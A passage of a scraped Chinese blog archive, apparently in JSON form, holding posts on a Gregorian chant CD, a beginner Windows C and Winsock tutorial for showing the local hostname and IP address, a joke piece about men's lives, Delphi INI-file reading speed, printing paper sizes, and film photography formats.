纯粹的圣歌\u0026rdquo;，CD中放出来的声音，至纯至粹。没有合成器，没有打击乐，甚至没有任何乐器，除了纯粹的人声合唱，什么都没有，或者说人声本来就是上帝赐予人类的最初的乐器。这才是格林高利圣歌铅华洗净、返璞归真的本来面目。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 提醒大家不要误会一点，这张专辑并不是出自大家熟悉的Gregorian Chant的手笔，而是由欧洲数个知名的圣诗班或合唱团分别演绎的。可以说这张专辑并不属于新世纪的范畴，而是地地道道的传统格林高利圣歌。听惯了新世纪 音乐，这种素面朝天的音乐反而已经近乎异类。我毫不奢望这张专辑会有多少人喜欢，甚至我自己买了这张CD这么久也从来没有耐心能由头到尾的听一遍，但我相 信会有人喜欢这种静谧而神圣的感觉。至少我认为，当我们沉醉于改头换面的Masters Of Chants系列的同时，我们有义务也有必要知道真正的圣歌是什么样的。这就是我购买并分享这张冷门碟的初衷。\n\u0026mdash;\u0026mdash; 转载自 \u0026quot;雅然音乐天空\u0026quot;；Aiolia 整理补充\n","permalink":"https://hessian.cn/p/383.html","summary":" 音乐家简介 Biography：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Gregorian是由12位浸淫于教堂音乐与合声风格，拥有深厚古典基础，并在英国伦敦乐界有一定地位的演唱家所组成。其制作人Frank Peterson曾是Enigma的一员，知名作品有很多：如Enigma的\u0026lt;Sadeness\u0026gt;和\u0026lt;Principles Of Lust\u0026gt;，Sarah Brightman的\u0026lt;Time to Say Goodbye\u0026gt;等等。正因如此，我们常常可以在他们的作品中听到与Enigma如出一辙的配器和编曲，而Sarah Brightman更是数次在作品中献声，为专辑平添几分光彩。\n","title":"格林高利 【教皇合唱团】 简介"},{"content":"Windows下C语言网络编程快速入门\n\u0026nbsp;\u0026nbsp; C语言的学习，一般的方式是，先学C，然后是C++，最好还要有汇编语言和微机原理基础，然后才是Visual C++。这样的方式，对学习者来说，要花费很多时间和耐力。而在学校教学中，也没有时间深入学习Windows编程的实用技术了。\n其实，具有了C语言基础后，再有一些基本的C++类的概念，就可以直接学习Windows C编程了。\n一、走近Windows C语言\n很多语言都把显示一个\u0026ldquo;Hello,World!\u0026rdquo;做为第一个入门程序， C语言的第一个程序是这样的：\n#include\u0026lt;stdio.h\u0026gt;\nmain()\n{\nprintf(\u0026ldquo;Hello,World!\u0026rdquo;);\n} 如果把main函数写成带参数的main函数，应该是：\n#include\u0026lt;stdio.h\u0026gt;\nmain(int arge,char *argv[])\n{\nprintf(\u0026ldquo;Hello,World!\u0026rdquo;);\n} Windows C的第一个程序和这个程序在形式和原理上都是一致的，只是有两点不同：\n1. 主函数接收的形参不只是命令行中的字符串的个数和字符串的首地址。\n2. C语言的很多函数在Windows C中都可以继续使用，但象printf（）屏幕显示等函数就不能继续使用了。因为Windows是多任务操作系统，屏幕已不再为某一个应用程序所独有，Windows C应用程序要显示字符串，需要使用Windows提供的API函数，开自己的窗口\n下面是一个最简单的，显示\u0026ldquo;Hello,World!\u0026rdquo;的Windows C程序：\n#include\u0026lt;windows.h\u0026gt;\nAPIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,\nLPSTR lpCmdLine,int nCmdShow)\n{\nMessageBox(NULL,\u0026quot;Hello,World!\u0026quot;,\u0026quot;第一个Windows C程序\u0026quot;,MB_OK|MB_ICONASTERISK);\n} 主函数的形参有四个：\n1) Hinstance：接收程序运行时当前实例的句柄；\n2) HprivInstance：前一个实例的句柄；\n3) LpCmdLine：程序命令行指针；\n4) NcmdShow：一个用来指定窗口显示方式的整数。\n这几个参数的使用我们会在深入的学习中介绍的。\n显示Hello,Word!字符串，我们使用了一个MessageBox函数，这个函数会在屏幕上显示一个对话框，它的原型是：\nint MessageBox(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UNIT uType) 四个参数分别是：\n1) HWnd：父窗口的句柄；\n2) LpText：要显示字符串的指针；\n3) LpCaption：对话框标题字符串的指针；\n4) UType：显示在对话框上的小图标的类型。\n使用这个函数要包含windows.h头文件。\n调试一下，怎么样？窗口上弹出了一个\u0026ldquo;第一个Windows C程序\u0026rdquo;对话框，上面有一行字：\u0026ldquo;Hello,World!\u0026rdquo;。\n世界真的很美好啊！！\n深入编程：\n在C语言中，函数的声明，如果没有指明返回值类型，缺省值为void，这个程序的主函数就没有返回值。不过，在Windows编程时，我们最好养成个好习惯，指明函数的返回值类型，因为在C++中，函数返回值类型是不可以缺省的。而我们在Windows C编程时，还是会用到C++的一些概念，这样做，有利于以后深入地学习。\n规范一点的程序应该是这样的：\n#include\u0026lt;windows.h\u0026gt;\nint APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,\nLPSTR lpCmdLine,int nCmdShow)\n{\nMessageBox(NULL,\u0026quot;Hello,World!\u0026quot;,\u0026quot;第一个Windows C程序\u0026quot;,MB_OK|MB_ICONASTERISK);\nreturn 0;\n} 这里，我们声明的类型为int型，并且返回一个值0，这样的函数就可以使用在复杂一点的函数调用中了。\n在这一节中，我们有几处都提到了句柄的概念，句柄和指针的概念不同，它是作为操作系统内部索引表中的一个值来使用的，这样可以防止应用程序直接访问名对象的内部结构，体现了Windows资源管理的优越性。譬如说，一个窗口找开之后，好对应内存中的一个内存块，这个窗口所在的内存快地址往往会由操作系统做动态的调整，但其却不会随之变化。不过，通过它可以访问这个窗口，所以在使用的时候，可以把它当做指针一样看待。\n二、 获取本地计算机的主机名和IP地址\n和C语言一样，函数是Windows C编程的最基本的单位。不过，Windows C主要使用API函数，而网络编程则主要使用Winsock提供的API函数。\nWinsock是90年代初，为了方便网络编程，由Microsoft联合了其他几家公司共同制定的一套WINDOWS下的网络编程接口，它是通过C语言的动态链接库方式提供给用户及软件开发者的，主要由winsock.h头文件和动态链接库winsock.dll组成，目前有两个版本：Winsock1.1和Winsock2.0。\n在Win32平台上，访问众多的基层网络协议，Winsock是首选接口。\n用Visual C++6.0编译Windows C程序，使用Winsock API函数时，首先要把wsock32.lib添加到它的库模块中，否刚在链接的时候，会出现\u0026ldquo;error LNK2001\u0026rdquo;错误。添加wsock32.lib的具体步骤是：打开工程菜单，选择设置，在弹出的Project settings对话框中，点击link选项卡，然后在对象/库模块文本框中添加wsock32.lib。\n最简单的网络编程是获取本机的主机名和IP地址，这个程序使用了WSAStart（）、WSAClenaup()、gethostname（）、gethostbyname（）四个winsock API函数,这四个函数的功能和使用方法介绍如下：\n1． WSAStartup():\n【函数原型】\nint PASCAL FAR WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData); 【使用说明】\n每一个使用winsock的应用程序，都必须进行WSAStart函数调用，并且只有在调用成功之后才能使用其它的winsock网络操作函数。\nWVersionRequired：\u0026lt;输入\u0026gt;表示欲使用的Ｗinsock版本，这是一个WORD类型的整数，它的高位字节定义的是次版本号，低位字节定义的是主版本号。\nLpWSAData：\u0026lt;输出\u0026gt;是一个指向WSADATA资料的指针。这个资料我们一般不使用。\n返回值：调用成功返回0；否则，返回出错信息。\n2． WSAClenaup():\n【函数原型】\nint PASCAL FAR WSACleanup(void); 【使用说明】\nwinsock使用后，要调用ＷSACleanup函数关闭网络设备，以便释放其占用的资源。\n3．gethostname()\n【函数原型】\nint PASCAL FAR gethostname (char FAR * name, int namelen); 【使用说明】\n该函数可以获取本地主机的主机名，其中：\nname：\u0026lt;输出\u0026gt;用于指向所获取的主机名的缓冲区的指针。\nNamelen：\u0026lt;输入\u0026gt;缓冲区的大小，以字节为单位。\n返回值：若无错误，返回0；否则，返回错误代吗。\n4．gethostbyname()\n【函数原型】\nstruct hostent FAR * PASCAL FAR gethostbyname(const char FAR * name); 【使用说明】\n该函数可以从主机名数据库中得到对应的\u0026ldquo;主机\u0026rdquo;。\n该函数唯一的参数name就是前面调用函数gethostname()得到的主机名。若无错误，刚返回一个指向hostent结构的批针，它可以标识一个\u0026ldquo;主机\u0026rdquo;列表。\nHostent结构定义如下：\nStruct hostent\n{\nchar FAR * h_name;\nchar FAR FAR ** h_aliases;\nshort h_addrtype;\nchar FAR FAR ** h_addr_list;\n} 其中：\nh_name：\u0026lt;输入\u0026gt;主机名地址（PC）。\nh_aliases：一个由主机备用名组成的空中止数组。 H_addrtype：返回地址的类型，对于Winsock,这个域总是PF_INET。\nH_lenth：每个地址的长度（字节数），对应于PF_INET域应该为4。\nH_addr_list：应该以空指针结尾的主机地址的列表，返回的地址是以网络顺序排列的。\n其中，h_addr_list[0]存放的就是本地主机的4个字节的IP地址，即：\nh_addr_list[0][0].h_addr_list[0][1].h_addr_list[0][2].h_addr_list[0][3]\n一个简单的用消息框显示主机名和IP地址的源程序如下：\n#include\u0026lt;winsock.h\u0026gt;\nint WSA_return;\nWSADATA WSAData;\nHOSTENT *host_entry;\nchar host_name[256];\nchar host_address[256];\nint APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,\nLPSTR lpCmdLine,int nCmdShow)\n{\nWSA_return=WSAStartup(0x0101,\u0026amp;WSAData);\nif(WSA_return==0)\n{\ngethostname(host_name,256);\nhost_entry=gethostbyname(host_name);\nif(host_entry!=0)\n{\nwsprintf(host_address,\u0026quot;%d.%d.%d.%d\u0026quot;,\n(host_entry-\u0026gt;h_addr_list[0][0]\u0026amp;0x00ff),\n(host_entry-\u0026gt;h_addr_list[0][1]\u0026amp;0x00ff),\n(host_entry-\u0026gt;h_addr_list[0][2]\u0026amp;0x00ff),\n(host_entry-\u0026gt;h_addr_list[0][3]\u0026amp;0x00ff));\nMessageBox(NULL,host_address,host_name,MB_OK);\n}\n}\nWSACleanup();\nreturn 0;\n}\n深入编程：\n前面显示IP地址的时候，我们使用的是消息框，规范一点的编程应该使用对话框，如何编辑一个对话框，很多书中都有介绍，编辑的对话框可参考图5的运行界面。\n头文件Get_IP.h如下：\nBOOL APIENTRY Hostname_ipDlgPro(HWND hDlg,UINT message,WPARAM wParam,LPARAM lParam); 这个程序只使用了一个对话框过程，一般把这个过程的声明放在头文件中。\n源程序Get_IP.c：\n#include\u0026lt;winsock2.h\u0026gt;\n#include\u0026quot;Get_IP.h\u0026quot;\n#include\u0026quot;resource.h\u0026quot; //这个头文件在创建资源的时候会自动生成,\n//并会在插入资源时自动生成控件标识号.\nint WSA_return;\nWSADATA WSAData;\nHOSTENT *host_entry;\nchar host_name[256];\nchar host_address[256];\nint APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,\nLPSTR lpCmdLine,int nCmdShow)\n{\nWSA_return=WSAStartup(0x0101,\u0026amp;WSAData);\nif(WSA_return==0)\n{\ngethostname(host_name,256);\nhost_entry=gethostbyname(host_name);\nif(host_entry!=0)\n{\nwsprintf(host_address,\u0026quot;%d.%d.%d.%d\u0026quot;,\n(host_entry-\u0026gt;h_addr_list[0][0]\u0026amp;0x00ff),\n(host_entry-\u0026gt;h_addr_list[0][1]\u0026amp;0x00ff),\n(host_entry-\u0026gt;h_addr_list[0][2]\u0026amp;0x00ff),\n(host_entry-\u0026gt;h_addr_list[0][3]\u0026amp;0x00ff));\n}\n}\nWSACleanup();\nDialogBox(hInstance,\u0026quot;DIALOG1\u0026quot;,NULL,(DLGPROC)Hostname_ipDlgPro);\nreturn 0;\n}\nBOOL APIENTRY Hostname_ipDlgPro(HWND hDlg,UINT message,\nWPARAM wParam,LPARAM lParam)\n{\nswitch(message)\n{\ncase WM_INITDIALOG:\nreturn(TRUE);\ncase WM_COMMAND:\nif(LOWORD(wParam)==IDOK)\n{ SetDlgItemText(hDlg,IDC_EDIT1,host_name);\nSetDlgItemText(hDlg,IDC_EDIT2,host_address);\nSetDlgItemText(hDlg,IDCANCEL,\u0026quot;确定\u0026quot;);\n}\nif(LOWORD(wParam)==IDCANCEL)\nEndDialog(hDlg,TRUE);\nreturn(TRUE);\nbreak;\n}\nreturn(FALSE);\n}\n","permalink":"https://hessian.cn/p/486.html","summary":"Windows下C语言网络编程快速入门\n\u0026nbsp;\u0026nbsp; C语言的学习，一般的方式是，先学C，然后是C++，最好还要有汇编语言和微机原理基础，然后才是Visual C++。这样的方式，对学习者来说，要花费很多时间和耐力。而在学校教学中，也没有时间深入学习Windows编程的实用技术了。\n","title":"windows C语言网络编程快速入门"},{"content":"男人啊！哎\n找个漂亮女人吧，太操心，\n找个不漂亮的吧，又不甘心；\n光顾事业了，人家说你没责任感，\n光顾家了，人家又说你没本事；\n专一点吧，人家说你不成熟；\n花心点吧，人家说你是禽兽；\n有钱，说你是坏人，\n没有钱，人家骂你窝囊废；\n自己奋斗吧，等有钱了女友也老了，\n让女人养吧，不如自宫练葵花宝典算了。\n不去应酬，怕被老板废了，\n去应酬吧，怕被老婆废了。\n哎！这年月做男人真难。\n女人可以等嫁，俺们等啥呀？\n女人还有个三八节，俺们有啥呀？\n祝所有群内的爷们自安天命！\n男人这辈子挺难的：\n长帅点吧，太抢手，\n不帅吧，拿不出手；\n活泼点吧，说你太油，\n不出声吧，说你太闷；\n穿西装吧，说你太严肃，\n穿随便一点吧，说你乡吧佬；\n会挣钱吧，怕你包二奶；\n不挣钱吧，又怕孩子断奶，\n结婚吧，怕自己后悔；\n不 结婚吧，怕她后悔，\n要个孩子吧，怕出来没钱养，\n不要孩子吧，怕老了没人养。\n这年头做女人难，做男人更难，\n男人，就要对自己好点。\n","permalink":"https://hessian.cn/p/507.html","summary":"男人啊！哎\n找个漂亮女人吧，太操心，\n找个不漂亮的吧，又不甘心；\n光顾事业了，人家说你没责任感，\n光顾家了，人家又说你没本事；\n专一点吧，人家说你不成熟；\n花心点吧，人家说你是禽兽；\n有钱，说你是坏人，\n没有钱，人家骂你窝囊废；\n自己奋斗吧，等有钱了女友也老了，\n让女人养吧，不如自宫练葵花宝典算了。\n不去应酬，怕被老板废了，\n去应酬吧，怕被老婆废了。\n哎！这年月做男人真难。\n女人可以等嫁，俺们等啥呀？\n女人还有个三八节，俺们有啥呀？\n祝所有群内的爷们自安天命！\n男人这辈子挺难的：\n长帅点吧，太抢手，\n不帅吧，拿不出手；\n活泼点吧，说你太油，\n不出声吧，说你太闷；\n穿西装吧，说你太严肃，\n穿随便一点吧，说你乡吧佬；\n会挣钱吧，怕你包二奶；\n不挣钱吧，又怕孩子断奶，\n结婚吧，怕自己后悔；\n不 结婚吧，怕她后悔，\n要个孩子吧，怕出来没钱养，\n不要孩子吧，怕老了没人养。\n这年头做女人难，做男人更难，\n男人，就要对自己好点。\n","title":"做男人啊，太难"},{"content":" 全力提升 TIniFile 的读取速度\n软件保存设置一般是写入本地目录，或者写入注册表。前者使用的文件格式很多，多为 IniFile (现在 XML 也开始流行)。后者是将信息储存在注册表中，并通过的 TRegistry 或者标准的 WindowsAPI 来读写。后者有个很大的好处：不需要对多用户系统进行考虑，Windows 可以很好的控制多用户的切换。但缺点是往往卸载软件不将注册表中生成的记录信息删除干净。而制作绿色软件的作者多采用 IniFile 方式保存信息。\nIniFile 本来也没有什么好多说的，有现成的工具 TIniFile，也有标准的 WindowsAPI。不过偶然发现当读取 IniFile 的一整个记录较多的 Section 时，性能很差。根据我的测试，当一个 Section 有超过 61 条记录的时候，比直接用 TStringList 打开一个文件，并分析出 Section 的记录要慢。问题出在哪里呢？我估计可能是大量的时间被耗费在打开文件和记录定位上了。\n设想一下：如果我们将带有 600 条记录的语言文件保存在 IniFile 中。用上述2种方法在速度上的差异甚大。我在 GOSURF 浏览器中做了比较。使用标准的 TIniFile 读取需要 2.78 秒，而使用了利用 TStringList 之后，时间缩短为 0.102秒。这 2 秒的时间对于一个软件的启动来说，算是相当长的了。\n随后我对 TIniFile 的各种操作进行了测试，发现 ReadSectionValues 是有性能明显性能瓶颈的。于是动手改造了一番：\nprocedure TTntIniFile.ReadSectionValuesEx(const Section: WideString; Strings: TTntStrings);\nvar\nBeginIdx, EndIdx: Integer;\nKeyValues: TTntStringList;\nI: Integer;\nS: WideString;\nbegin\nKeyValues := TTntStringList.Create;\ntry\n\u0026nbsp;\u0026nbsp;\u0026nbsp; KeyValues.LoadFromFile(FileName);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; BeginIdx := 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; while (BeginIdx \u0026lt;= KeyValues.Count \u0026#8211; 1) do\n\u0026nbsp;\u0026nbsp;\u0026nbsp; begin\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if Trim(KeyValues[BeginIdx]) = \u0026#8216;[\u0026#8216; + Section + \u0026#8216;]\u0026#8217; then Break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Inc(BeginIdx);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; end;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; EndIdx := BeginIdx + 1;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; while (EndIdx \u0026lt;= KeyValues.Count \u0026#8211; 1) do\n\u0026nbsp;\u0026nbsp;\u0026nbsp; begin\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; S := Trim(KeyValues[EndIdx]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (S \u0026lt;\u0026gt; \u0026#8221;) and (S[1] = \u0026#8216;[\u0026#8216;) and (S[Length(S)] = \u0026#8216;]\u0026#8217;) then Break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Inc(EndIdx);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; end;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Strings.BeginUpdate;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; try\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; for I := BeginIdx + 1 to EndIdx \u0026#8211; 1 do\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if KeyValues[I] \u0026lt;\u0026gt; \u0026#8221; then\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Strings.Add(KeyValues[I]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; finally\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Strings.EndUpdate;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; end;\nfinally\n\u0026nbsp;\u0026nbsp;\u0026nbsp; KeyValues.Free;\nend;\nend;\n注1：如果没有安装过 TntControls 的朋友，只要将 WideString 改成 string，将 TTnt 开头的对象都改成 T 即可。\n注2：第二个参数 Strings: TTntStrings 是抽象类。你可以使用 TStringList，不过我推荐使用 THashedStringList。当记录数量很大的时候搜索某条记录 (如：Strings.Values[\u0026#8216;LastRecode\u0026#8217;]) 可能也相当耗时。不使用 THashedStringList 那 ReadSectionValuesEx 的优势无法完全体现。\n另外，DELPHI 中还提供了一种 TMemIniFile。原理是一次性将整个 IniFile 文件读入内存，以提高响应速度。但灵活性和稳定性不如使用 TIniFile + ReadSectionValuesEx 来的好。当然将常用的调用单条记录制作成函数会更加灵活方便。如 IniReadString(const FileName, Section, Ident, Default: WideString): WideString; 这些函数就请你自己扩充了 :D\n最后说一下 XML。它的性质和 IniFile 差不多。不过他的结构更多样化，你可以轻松把一个 Object 保存在文件中，阅读也比较直观。我把 IniFile 文件看成简单的一层目录结构，那 XML 是多层目录结构。当然分析一个 XML 也相对会稍慢一些。待有时间，再向大家推荐好用高效的 TXMLParser。\n","permalink":"https://hessian.cn/p/656.html","summary":" 全力提升 TIniFile 的读取速度\n软件保存设置一般是写入本地目录，或者写入注册表。前者使用的文件格式很多，多为 IniFile (现在 XML 也开始流行)。后者是将信息储存在注册表中，并通过的 TRegistry 或者标准的 WindowsAPI 来读写。后者有个很大的好处：不需要对多用户系统进行考虑，Windows 可以很好的控制多用户的切换。但缺点是往往卸载软件不将注册表中生成的记录信息删除干净。而制作绿色软件的作者多采用 IniFile 方式保存信息。\n","title":"全力提升 TIniFile 的读取速度"},{"content":"正度纸张：787\u0026times;1092mm 开数(正度) 尺寸 单位（mm） 全开 781\u0026times;1086 2开 530\u0026times;760 3开 362\u0026times;781 4开 390\u0026times;543 6开 362\u0026times;390 8开 271\u0026times;390 16开 195\u0026times;271 注：成品尺寸=纸张尺寸－修边尺寸 大度纸张：850＊1168mm 开数(正度) 尺寸 单位（mm） 全开 844\u0026times;1162 2开 581\u0026times;844 3开 387\u0026times;844 4开 422\u0026times;581 6开 387\u0026times;422 8开 290\u0026times;422 注：成品尺寸=纸张尺寸－修边尺寸 常见开本尺寸(单位：mm) 开本尺寸：787 x 1092 对开：736 x 520 4开：520 x 368 8开：368 x 260 16开：260 x 184 32开：184 x 130 开本尺寸(大度)：850 x 1168 对开：570 x 840 4开：420 x 570 8开：285 x 420 16开：210 x 285 32开：203 x 140 正度纸张：787\u0026times;1092mm 开数(正度) 尺寸 单位（mm） 全开 781\u0026times;1086 2开 530\u0026times;760 3开 362\u0026times;781 4开 390\u0026times;543 6开 362\u0026times;390 8开 271\u0026times;390 16开 195\u0026times;271 注：成品尺寸=纸张尺寸－修边尺寸 大度纸张：850＊1168mm 开数(正度) 尺寸 单位（mm） 全开 844\u0026times;1162 2开 581\u0026times;844 3开 387\u0026times;844 4开 422\u0026times;581 6开 387\u0026times;422 8开 290\u0026times;422 注：成品尺寸=纸张尺寸－修边尺寸 16开 大度：210\u0026times;285 正度：185\u0026times;260 8开 大度：285\u0026times;420 正度：260\u0026times;370 4开 大度：420\u0026times;570 正度：370\u0026times;540 2开 大度：570\u0026times;840 正度：540\u0026times;740 全开 大：889\u0026times;1194 小：787\u0026times;1092 名片 横版:90*55mm\u0026lt;方角\u0026gt; 85*54mm\u0026lt;圆角\u0026gt; 竖版:50*90mm\u0026lt;方角\u0026gt; 54*85mm\u0026lt;圆角\u0026gt; 方版:90*90mm 90*95mm IC卡　85x54MM 三折页广告 标准尺寸: (A4)210mm x 285mm 普通宣传册 标准尺寸: (A4)210mm x 285mm 文件封套 标准尺寸:220mm x 305mm 招贴画： 标准尺寸:540mm x 380mm 挂旗 标准尺寸:8开 376mm x 265mm 4开 540mm x 380mm 手提袋： 标准尺寸:400mm x 285mm x 80mm 信纸 便条： 标准尺寸:185mm x 260mm 210mm x 285mm\n","permalink":"https://hessian.cn/p/528.html","summary":"正度纸张：787\u0026times;1092mm 开数(正度) 尺寸 单位（mm） 全开 781\u0026times;1086 2开 530\u0026times;760 3开 362\u0026times;781 4开 390\u0026times;543 6开 362\u0026times;390 8开 271\u0026times;390 16开 195\u0026times;271 注：成品尺寸=纸张尺寸－修边尺寸 ","title":"印刷尺寸"},{"content":" 菲林的基本组成部分别是：（1）用作感光的药膜（又称「乳剂」）；以及用作承托药膜的（2）片基（Film base）。\n（1）药膜（乳剂）\n药膜是由在菲林胶片表层（片基）上的感光化学物质，它们由一些感光的晶体微粒组成，而菲林的片基，则是透明的胶片，用作承托药膜。\n菲林药膜内的粒子是要在显微镜下才能看到的微粒，因此，由菲林拍出的影像，可以作高倍数放大，如在一定的距离外观看，也不一定看到有明显的粒子，这一点正是传统菲林远胜于目前大约2~3百万像素的数码相机。\n药膜的特性是它们在曝光后会实时改变其结构，但其具体的化学变化特性，对摄影师来说，特别是初学者来说，其实并不重要，变化的最后结果才是重要的。\n但粗略地了解一下其变化原理还是必须的。当我们拍摄照片的时候，影像的光束穿过镜头，进入相机内并投射在菲林平面的药膜上，使药膜上的晶体粒子感光。晶体粒子受光后改变其结构并和其它晶体结合成块状，投射在药膜上的光越多，晶体改变并结成的块状也越多。投射在药膜上的光少，则晶体改变及结成块状的也就少了。因此，不同的光度射在菲林上就会产生不同数目、大小、形状的改变了结构的晶体，形成一个还未看见的影像。\n这一个我们看不见的影像叫做「潜在影像」（Latent image）。要把这一个潜在影像转变为稳定的、可见的影像，我们必须将菲林片进行「显影」（Develop），这一过程一般会交由冲晒店去做，流行的彩色负片显影会以C-41程序或相若的程序进行，而幻灯片则用E-6程序冲洗，但传统的黑白菲林则用D76程序或有关菲林指定的程序。\n以黑白菲林为例，当菲林以D76显影时，已改变结构的晶体会变为黑色银团，形成「负像」（negative）。没有被光照射的晶体则未改变其结构，其后在定影过程中被定影液（Fixer）冲洗掉，只会留下极淡的甚至透明的部分。\n结果是菲林上受光多的地方影像「厚」，受光少的地方影像则显得「薄」，没有受光的部分则是透明的，形成一个「负像」（Negative）。\n显影时间及湿度有一定的规定，如时间长了，菲林的药膜亦会「厚」了，反之时间短了，则药膜亦会「薄」了。\n（2）片基（Film base）\n我们上述谈到的药膜必须附在片基之上，使它能够固定在一个「平面」上，现代菲林的片基是胶片，但药膜实际上可以涂在任何固体物质上，如纸张、玻璃、布料等等。因此，可以把相片做在T恤、水杯及瓷器上。其实，早期的「菲林」，是把药膜涂在玻璃片上，当然，那时的「菲林」绝不是叫作菲林（Film）的。\n药膜附在片基的一面，菲林的一面有药膜，另一面则没有药膜，只有胶片。看左右正确的影像，必须看没有药膜的一面，晒相或Scan菲林时，有药膜的一边亦须向下。\n(二)菲林的类型和尺寸\n菲林的类型可以用形式或大小计算，主要有以下四种类型：（a）135mm卷装菲林，（b）IX 240 APS菲林（c）120卷装菲林及（d）单张的片装菲林。\n（a）135菲林\n135菲林是目前最流行的菲林形式，广泛地用于小型的35mm相机，包括轻便相机以及SLR相机。这种菲林原本是为电影摄影机而发明的，因此，可以说是一种历史十分悠久的菲林形式，1913年Leica相机的发明者Oscar Barnack把这一种电影用的35mm菲林用于他自制的一部雏型Leica相机上，其后大受欢迎，使35mm菲林成为历史上最流行的片幅。由于135菲林的成功，「模仿」135mm菲林的略比135细小的「126」及微型的「110」，但两者均已淘汰，而135菲林却仍是菲林的主流。\n（b）IX 240 （APS）菲林\n这是由Kodak与Fuji、Nikon、Canon、Minolta等共同开发的一种新的菲林形式，于1997年才推出市场可以说是菲林制成的「新贵」，它的特点是把信息交换功能（IX）加入传统的菲林之上，使一卷菲林同时有三种大小不同的格式，此外，菲林未拍完也可以抽出，稍后才再放入相机再拍摄。优点是比135方便，但片幅较135略细，而且APS冲晒较135贵。是故，APS是否能「成功」，还待时间考验。\n（c）120卷装菲林\n120菲林是一种卷在胶轴上的卷装菲林，并有一层面纸背保护菲林，可以在装片和卸片时提供防止走光的保护。「120」菲林用于中型片幅的相机，例如Pentax、Rollei、Hasselblad、Fuji、Bronica、Contax 645或Mamiya等中幅相机。\n120的片幅大约为6cm（2.25吋）高，但横度的尺寸视乎不同相机而变，流行的有三种基本画幅尺寸是：\n（a）6\u0026times;4.5cm（2.25\u0026quot;\u0026times;2.25\u0026quot;）\n（b）6\u0026times;6cm（2.25\u0026quot;\u0026times;2.25\u0026quot;）\n（c）6\u0026times;7cm（2.25\u0026quot;\u0026times;3\u0026quot;）\n最早期流行的120片幅是6\u0026times;6cm，因为Rolleiflex的双镜反光机相机的受欢迎而流行起来，而6\u0026times;6现在仍是中型120单镜反光机最流行的片幅。由于画面是正方形的，其优点是不需也不可以转动相机来拍摄直度，对于时装或人像摄影师来说，用6\u0026times;6拍摄的照片，在摄后的剪裁有甚高的可塑性。但另一方面，如果你想放大成8\u0026times;10或16\u0026times;20的照片则必须作裁剪，一卷120菲林可拍12幅6\u0026times;6的照片。\n另一流行120片幅是6\u0026times;4.5cm，最大的特点是645相机比6\u0026times;6或6\u0026times;7相机小巧得多，像Pentax 645N、Mamiya 645和Bronica ETR-Si相机，均比6\u0026times;6的Bronica SQ-Ai或6\u0026times;7的Mamiya RZ小得多，645相机把35mm相机的便携性和较大型片幅的优点结合起来，而且，自从有645的AFSLR出现，645的片幅更受欢迎了。\nPentax 67或Mamiya RZ 67的6\u0026times;7cm的片幅则可提供大幅长方度的片幅，用途亦十分广泛，因为长度始终是主流，故6\u0026times;7在商品摄影中比645或6\u0026times;6均优越，但6\u0026times;6则多用人像及时装摄影。645则是风景摄影的首选。特别是近年面世的645 AFSLR，如Contax 645及Mamiya 645，均十分受摄影师欢迎。\n额外一提6cm高的菲林有两种基本长度：「120」和「220」。两者都是6cm宽，但220只在末尾有纸背，120则由头到尾都有纸背。由于取消卷片中间的纸背，故220能在大约同样粗幼的卷轴中卷更长的菲林。这样，120每卷可拍6\u0026times;6照片12张，而220则每卷可拍24张。除此之外，120 和220菲林是完全相同的。\n大多数120的SLR相机有可随时拆换的片匣。当你为120相机配多一个片匣时，你便可以在外影时有更大的灵活性。例如，你可以利用一个片匣安装黑白菲林，在另一片匣中装彩色幻灯片，甚至多一个装彩色负片。每个片匣都可以随时由相机上拆下，甚至其内的菲林只有一部分曝了光，拆换片匣也不会使菲林走光。把另一个片匣装上，再拍几张之后又再取下，之后又把第一个片匣装上再拍摄剩下的菲林，方便吧！此点是135相机绝对比不上的，除非用有IX功能的 APS相机，则亦可随时换菲林。\n随时可装卸片匣的另一个好处，是用在需要快速连续拍摄时可预早在多个片匣装妥菲林，当拍摄完片匣中的一卷时，摄影师可以拆下片匣并立即装上另一片匣，减少在拍摄中错失重要时刻的可能性，如有拍摄助手的话，则可把已曝光的菲林取出再换上一卷新菲林，这样的过程可以反复进行；此外，大部分120单镜反光机也有不同片幅的片匣，如Bronica SQ-A，便有6\u0026times;6，6\u0026times;4.5，135「全景」及135标准度的片匣。\n（d）单张菲林\n单张菲林是指单独一张的菲林，英文叫作Sheet film，用于大片幅的专业景式相机（View camera）。最常用的单张菲林片幅是4\u0026times;5英吋，这一片幅的相机又称为「45机」。例如SINAR, HORSEMAN, LINHOF及ARCASS均有此类相机，它几乎是专业商品摄影少不了的设备，事实上，对商品摄影来说，前述的35mm及120均「未入流」，并以4\u0026times;5 